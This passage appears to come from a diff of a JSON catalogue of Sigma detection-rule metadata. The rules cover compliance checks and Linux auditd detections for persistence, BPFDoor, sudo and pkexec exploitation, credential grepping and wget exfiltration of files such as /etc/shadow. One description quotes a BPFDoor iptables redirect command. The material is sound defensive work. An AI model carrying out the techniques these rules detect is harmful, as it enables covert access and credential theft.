accounts.\nSigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.\n", - "meta": { - "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2019/03/26", - "falsepositive": [ - "Unknown" - ], - "filename": "default_credentials_usage.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "qualys", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml", - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf" - ], - "tags": "No established tags" - }, - "uuid": "1a395cbc-a84a-463a-9086-ed8a70e573c7", - "value": "Default Credentials Usage" - }, - { - "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.\nEnsure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.\n", - "meta": { - "author": "Alexandr Yampolskyi, SOC Prime, Tim Shelton", - "creation_date": "2019/03/26", - "falsepositive": [ - "Unknown" - ], - "filename": "firewall_cleartext_protocols.yml", - "level": "low", - "logsource.category": "firewall", - "logsource.product": "No established product", - "refs": [ - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/firewall_cleartext_protocols.yml", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf" - ], - "tags": "No established tags" - }, - "uuid": "d7fb8f0e-bd5f-45c2-b467-19571c490d7e", - "value": "Cleartext Protocol Usage" - }, - { - "description": "Configure systems to issue a log entry and alert when an account is added to or removed from any group assigned administrative privileges.\nSigma detects\nEvent ID 4728 indicates a ‘Member is added to a Security Group’.\nEvent ID 4729 indicates a ‘Member is removed from a Security enabled-group’ .\nEvent ID 4730 indicates a ‘Security Group is deleted’.\nThe case is not applicable for Unix OS.\nSupported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019, Windows Server 2000, Windows 2003 and XP.\n", - "meta": { - "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2019/03/26", - "falsepositive": [ - "Unknown" - ], - "filename": "group_modification_logging.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/group_modification_logging.yml", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf" - ], - "tags": "No established tags" - }, - "uuid": "9cf01b6c-e723-4841-a868-6d7f8245ca6e", - "value": "Group Modification Logging" - }, - { - "description": "Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.", - "meta": { - "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2019/03/19", - "falsepositive": "No established falsepositives", - "filename": "host_without_firewall.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "qualys", - "refs": [ - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf" - ], - "tags": "No established tags" - }, - "uuid": "6b2066c8-3dc7-4db7-9db0-6cc1d7b0dde9", - "value": "Host Without Firewall" - }, - { - "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels\nEnsure that an encryption is used for all sensitive information in transit.\nEnsure that an encrypted channels is used for all administrative account access.\n", - "meta": { - "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2019/03/26", - "falsepositive": [ - "Unknown" - ], - "filename": "netflow_cleartext_protocols.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "No established product", - "refs": [ - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf" - ], - "tags": "No established tags" - }, - "uuid": "7e4bfe58-4a47-4709-828d-d86c78b7cc1f", - "value": "Cleartext Protocol Usage seen via Netflow" - }, - { - "description": "Automatically lock workstation sessions after a standard period of inactivity.\nThe case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019.\n", - "meta": { - "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2019/03/26", - "falsepositive": [ - "Unknown" - ], - "filename": "workstation_was_locked.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/workstation_was_locked.yml", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf" - ], - "tags": "No established tags" - }, - "uuid": "411742ad-89b0-49cb-a7b0-3971b5c1e0a4", - "value": "Locked Workstation" - }, - { - "description": "Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.", - "meta": { - "author": "Peter Matkovski", - "creation_date": "2019/05/12", - "falsepositive": [ - "Admin or User activity" - ], - "filename": "lnx_auditd_alter_bash_profile.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "MITRE Attack technique T1156; .bash_profile and .bashrc. ", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_alter_bash_profile.yml" - ], - "tags": [ - "attack.s0003", - "attack.persistence", - "attack.t1546.004" - ] - }, - "uuid": "e74e15cc-c4b6-4c80-b7eb-dfe49feb7fe9", - "value": "Edit of .bash_profile and .bashrc" - }, - { - "description": "Detects attempts to record audio with arecord utility", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/09/04", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_audio_capture.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa", - "https://linux.die.net/man/1/arecord", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_audio_capture.yml", - "https://attack.mitre.org/techniques/T1123/" - ], - "tags": [ - "attack.collection", - "attack.t1123" - ] - }, - "uuid": "a7af2487-9c2f-42e4-9bb9-ff961f0561d5", - "value": "Audio Capture" - }, - { - "description": "Detect changes in auditd configuration files", - "meta": { - "author": "Mikhail Larin, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "lnx_auditd_auditing_config_change.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml", - "https://github.com/Neo23x0/auditd/blob/master/audit.rules", - "Self Experience" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.006" - ] - }, - "uuid": "977ef627-4539-4875-adf4-ed8f780c4922", - "value": "Auditing Configuration Changes on Linux Host" - }, - { - "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.\nThis rule detect using dd and truncate to add a junk data to file.\n", - "meta": { - "author": "Igor Fits, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Legitimate script work" - ], - "filename": "lnx_auditd_binary_padding.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_binary_padding.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.001" - ] - }, - "uuid": "c52a914f-3d8b-4b2a-bb75-b3991e75f8ba", - "value": "Binary Padding" - }, - { - "description": "detects BPFDoor .lock and .pid files access in temporary file storage facility", - "meta": { - "author": "Rafal Piasecki", - "creation_date": "2022/08/10", - "falsepositive": [ - "Unlikely" - ], - "filename": "lnx_auditd_bpfdoor_file_accessed.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_file_accessed.yml", - "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", - "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor" - ], - "tags": [ - "attack.execution", - "attack.t1106", - "attack.t1059" - ] - }, - "uuid": "808146b2-9332-4d78-9416-d7e47012d83d", - "value": "BPFDoor Abnormal Process ID or Lock File Accessed" - }, - { - "description": "All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392'\nThe traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.\n", - "meta": { - "author": "Rafal Piasecki", - "creation_date": "2022/08/10", - "falsepositive": [ - "Legitimate ports redirect" - ], - "filename": "lnx_auditd_bpfdoor_port_redirect.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_port_redirect.yml", - "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "70b4156e-50fc-4523-aa50-c9dddf1993fc", - "value": "Bpfdoor TCP Ports Redirect" - }, - { - "description": "Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/11/28", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_capabilities_discovery.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml", - "https://man7.org/linux/man-pages/man8/getcap.8.html", - "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/", - "https://mn3m.info/posts/suid-vs-capabilities/", - "https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099" - ], - "tags": [ - "attack.collection", - "attack.privilege_escalation", - "attack.t1123", - "attack.t1548" - ] - }, - "uuid": "fe10751f-1995-40a5-aaa2-c97ccb4123fe", - "value": "Linux Capabilities Discovery" - }, - { - "description": "Detect file time attribute change to hide new or changes to existing files.", - "meta": { - "author": "Igor Fits, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_change_file_time_attr.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_change_file_time_attr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.006" - ] - }, - "uuid": "b3cec4e7-6901-4b0d-a02d-8ab2d8eb818b", - "value": "File Time Attribute Change" - }, - { - "description": "Detects removing immutable file attribute.", - "meta": { - "author": "Jakob Weinzettl, oscd.community", - "creation_date": "2019/09/23", - "falsepositive": [ - "Administrator interacting with immutable files (e.g. for instance backups)." - ], - "filename": "lnx_auditd_chattr_immutable_removal.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.002" - ] - }, - "uuid": "a5b977d6-8a81-4475-91b9-49dbfcd941f7", - "value": "Remove Immutable File Attribute" - }, - { - "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/09/24", - "falsepositive": [ - "Legitimate usage of xclip tools" - ], - "filename": "lnx_auditd_clipboard_collection.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://linux.die.net/man/1/xclip", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_collection.yml", - "https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/", - "https://attack.mitre.org/techniques/T1115/" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ] - }, - "uuid": "214e7e6c-f21b-47ff-bb6f-551b2d143fcf", - "value": "Clipboard Collection with Xclip Tool" - }, - { - "description": "Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/10/01", - "falsepositive": [ - "Legitimate usage of xclip tools" - ], - "filename": "lnx_auditd_clipboard_image_collection.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://linux.die.net/man/1/xclip", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml", - "https://attack.mitre.org/techniques/T1115/" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ] - }, - "uuid": "f200dc3f-b219-425d-a17e-c38467364816", - "value": "Clipboard Collection of Image Data with Xclip Tool" - }, - { - "description": "Detects command line parameter very often used with coin miners", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/10/09", - "falsepositive": [ - "Other tools that use a --cpu-priority flag" - ], - "filename": "lnx_auditd_coinminer.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://xmrig.com/docs/miner/command-line-options", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_coinminer.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "uuid": "071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed", - "value": "Possible Coin Miner CPU Priority Param" - }, - { - "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", - "meta": { - "author": "Marie Euler", - "creation_date": "2020/05/18", - "falsepositive": [ - "Admin activity" - ], - "filename": "lnx_auditd_create_account.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "MITRE Attack technique T1136; Create Account ", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_create_account.yml" - ], - "tags": [ - "attack.t1136.001", - "attack.persistence" - ] - }, - "uuid": "759d0d51-bc99-4b5e-9add-8f5b2c8e7512", - "value": "Creation Of An User Account" - }, - { - "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing\nrequired to trigger the heap-based buffer overflow.\n", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/02/01", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "cve.2021.3156" - ] - }, - "uuid": "5ee37487-4eb8-4ac2-9be1-d7d14cdc559f", - "value": "CVE-2021-3156 Exploitation Attempt" - }, - { - "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing.\nrequired to trigger the heap-based buffer overflow.\n", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/02/01", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml", - "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "cve.2021.3156" - ] - }, - "uuid": "b9748c98-9ea7-4fdb-80b6-29bed6ba71d2", - "value": "CVE-2021-3156 Exploitation Attempt" - }, - { - "description": "Detects exploitation attempt of vulnerability described in CVE-2021-4034.", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2022/01/27", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_cve_2021_4034.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034", - "https://github.com/berdav/CVE-2021-4034", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_4034.yml", - "https://access.redhat.com/security/cve/CVE-2021-4034" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "uuid": "40a016ab-4f48-4eee-adde-bbf612695c53", - "value": "CVE-2021-4034 Exploitation Attempt" - }, - { - "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Legitimate use of archiving tools by legitimate user." - ], - "filename": "lnx_auditd_data_compressed.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_compressed.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md" - ], - "tags": [ - "attack.exfiltration", - "attack.t1560.001" - ] - }, - "uuid": "a3b5e3e9-1b49-4119-8b8e-0344a01f21ee", - "value": "Data Compressed" - }, - { - "description": "Detects attempts to post the file with the usage of wget utility.\nThe adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.\n", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/11/18", - "falsepositive": [ - "Legitimate usage of wget utility to post a file" - ], - "filename": "lnx_auditd_data_exfil_wget.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://gtfobins.github.io/gtfobins/wget/", - "https://linux.die.net/man/1/wget", - "https://attack.mitre.org/tactics/TA0010/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ] - }, - "uuid": "cb39d16b-b3b6-4a7a-8222-1cf24b686ffc", - "value": "Data Exfiltration with Wget" - }, - { - "description": "Detects overwriting (effectively wiping/deleting) of a file.", - "meta": { - "author": "Jakob Weinzettl, oscd.community", - "creation_date": "2019/10/23", - "falsepositive": [ - "Appending null bytes to files.", - "Legitimate overwrite of files." - ], - "filename": "lnx_auditd_dd_delete_file.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_dd_delete_file.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ] - }, - "uuid": "37222991-11e9-4b6d-8bdf-60fbe48f753e", - "value": "Overwriting the File with Dev Zero or Null" - }, - { - "description": "Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2022/01/22", - "falsepositive": [ - "Admin activity" - ], - "filename": "lnx_auditd_disable_system_firewall.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", - "https://firewalld.org/documentation/man-pages/firewall-cmd.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml", - "https://attack.mitre.org/techniques/T1562/004/" - ], - "tags": [ - "attack.t1562.004", - "attack.defense_evasion" - ] - }, - "uuid": "53059bc0-1472-438b-956a-7508a94a91f0", - "value": "Disable System Firewall" - }, - { - "description": "Detects file and folder permission changes.", - "meta": { - "author": "Jakob Weinzettl, oscd.community", - "creation_date": "2019/09/23", - "falsepositive": [ - "User interacting with files permissions (normal/daily behaviour)." - ], - "filename": "lnx_auditd_file_or_folder_permissions.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.002" - ] - }, - "uuid": "74c01ace-0152-4094-8ae2-6fd776dd43e5", - "value": "File or Folder Permissions Change" - }, - { - "description": "Detecting attempts to extract passwords with grep", - "meta": { - "author": "Igor Fits, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_find_cred_in_files.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_find_cred_in_files.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001" - ] - }, - "uuid": "df3fcaea-2715-4214-99c5-0056ea59eb35", - "value": "Credentials In Files" - }, - { - "description": "Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/09/06", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_hidden_files_directories.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", - "https://attack.mitre.org/techniques/T1564/001/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ] - }, - "uuid": "d08722cd-3d09-449a-80b4-83ea2d9d4616", - "value": "Hidden Files and Directories" - }, - { - "description": "Detects appending of zip file to image", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/09/09", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_hidden_zip_files_steganography.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_zip_files_steganography.yml", - "https://attack.mitre.org/techniques/T1027/003/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.003" - ] - }, - "uuid": "45810b50-7edc-42ca-813b-bdac02fb946b", - "value": "Steganography Hide Zip Information in Picture File" - }, - { - "description": "Detect attempt to enable auditing of TTY input", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/05/24", - "falsepositive": [ - "Administrative work" - ], - "filename": "lnx_auditd_keylogging_with_pam_d.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing", - "https://linux.die.net/man/8/pam_tty_audit", - "https://attack.mitre.org/techniques/T1003/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", - "https://access.redhat.com/articles/4409591#audit-record-types-2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1056.001" - ] - }, - "uuid": "49aae26c-450e-448b-911d-b3c13d178dfc", - "value": "Linux Keylogging with Pam.d" - }, - { - "description": "Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_ld_so_preload_mod.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.006" - ] - }, - "uuid": "4b3cb710-5e83-4715-8c45-8b2b5b3e5751", - "value": "Modification of ld.so.preload" - }, - { - "description": "Detects loading of kernel modules with insmod command.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nAdversaries may use LKMs to obtain persistence within the system or elevate the privileges.\n", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/11/02", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_load_module_insmod.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://attack.mitre.org/techniques/T1547/006/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md", - "https://man7.org/linux/man-pages/man8/kmod.8.html", - "https://linux.die.net/man/8/insmod" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1547.006" - ] - }, - "uuid": "106d7cbd-80ff-4985-b682-a7043e5acb72", - "value": "Loading of Kernel Module via Insmod" - }, - { - "description": "Detect changes of syslog daemons configuration files", - "meta": { - "author": "Mikhail Larin, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "lnx_auditd_logging_config_change.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml", - "self experience" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.006" - ] - }, - "uuid": "c830f15d-6f6e-430f-8074-6f73d6807841", - "value": "Logging Configuration Changes on Linux Host" - }, - { - "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\nSeveral different variations of this technique have been observed.\n", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": "No established falsepositives", - "filename": "lnx_auditd_masquerading_crond.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process", - 